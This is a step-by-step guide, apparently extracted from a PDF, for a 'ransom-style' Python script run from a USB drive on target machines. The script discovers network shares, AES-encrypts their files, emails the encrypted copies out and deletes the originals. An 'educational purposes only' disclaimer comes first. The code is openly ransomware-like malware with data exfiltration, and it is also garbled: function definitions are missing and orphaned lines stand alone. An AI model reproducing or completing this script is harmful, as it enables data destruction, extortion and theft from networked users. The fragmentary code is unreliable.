Ransom-Style Ultimate USB File Encryption Script For Networked Computers
Ransom-Style Ultimate USB File Encryption Script For Networked Computers
Disclaimer
Important Notice:
This guide is intended for educational purposes only. The methods and tools described are meant to
teach concepts of file encryption and network security. Unauthorized use of this script to encrypt files on
a network without proper authorization is illegal and unethical. The author and distributor of this guide
are not responsible for any misuse of the information provided. By using this guide, you agree to use it
responsibly and ethically, and to seek proper authorization before deploying any scripts on networked
systems.
Step-by-Step Guide
1. Format your USB drive: Ensure it is formatted to a file system accessible by all operating systems (e.g.,
FAT32).
2. Create a folder: On your USB drive, create a folder named `encryptor` to store the script and
dependencies.
Install Python
Ensure that Python is installed on all target machines. If not, consider providing a portable Python
environment on the USB drive.
```python
import os
import smtplib
import ssl
import base64
import subprocess
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
padder = padding.PKCS7(128).padder()
padded_data = padder.update(data) + padder.finalize()
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
return iv + encrypted_data
msg.attach(part)
context = ssl.create_default_context()
encrypted_files = []
encrypted_files.append(encrypted_file_path)
def discover_network_directories():
network_directories = []
if os.name == 'nt':
# Windows-specific network discovery
result = subprocess.run('net view', shell=True, capture_output=True, text=True)
if result.returncode == 0:
lines = result.stdout.splitlines()
for line in lines:
if '\\\\' in line:
network_directories.append(line.strip())
else:
# Unix-based OS discovery (example using Samba shares)
result = subprocess.run('smbclient -L localhost', shell=True, capture_output=True, text=True)
if result.returncode == 0:
lines = result.stdout.splitlines()
for line in lines:
if 'Disk' in line:
share_name = line.split()[0]
network_directories.append(f'//localhost/{share_name}')
return network_directories
def main():
sender_email = '[email protected]'
receiver_email = '[email protected]'
email_password = input('Enter your email password: ')
encryption_password = 'YourEncryptionPassword'
network_directories = discover_network_directories()
os.remove(encrypted_file)
if __name__ == "__main__":
main()
```
Explanation of Modifications
Platform Compatibility:
• The script is designed to be compatible with both Windows and Unix-based systems.
Network Discovery:
• For Windows, the script uses `net view` to list shared directories.
• For Unix-based systems, it uses `smbclient` to list Samba shares. Modify the discovery method as
per your network setup.
3. Encryption:
• The `encrypt_directory` function encrypts all files in each discovered directory using AES
encryption.
• The script generates a unique key and salt for each encryption session.
4. Email Notification:
5. Execution:
• The script is designed to be executed manually from the USB drive on any networked machine.
1. Copy the script: Copy the script (`encrypt_and_notify.py`) and any necessary dependencies to your
USB drive.
2. Insert the USB drive: Insert the USB drive into the target machine.
3. Open a terminal or command prompt: Navigate to the USB drive using the command line.
```bash
python encrypt_and_notify.py
```
6. Script Execution:
• The script will discover network directories, encrypt all files, and send them via email.
Important Notes
• Permissions: Ensure you have the necessary permissions to access and encrypt files on the
network directories.
• Security: Handle encryption keys and email passwords securely. Do not hardcode sensitive
information in the script.
This setup allows you to manually execute the script from a USB drive to encrypt files on any networked
machine, regardless of the operating system.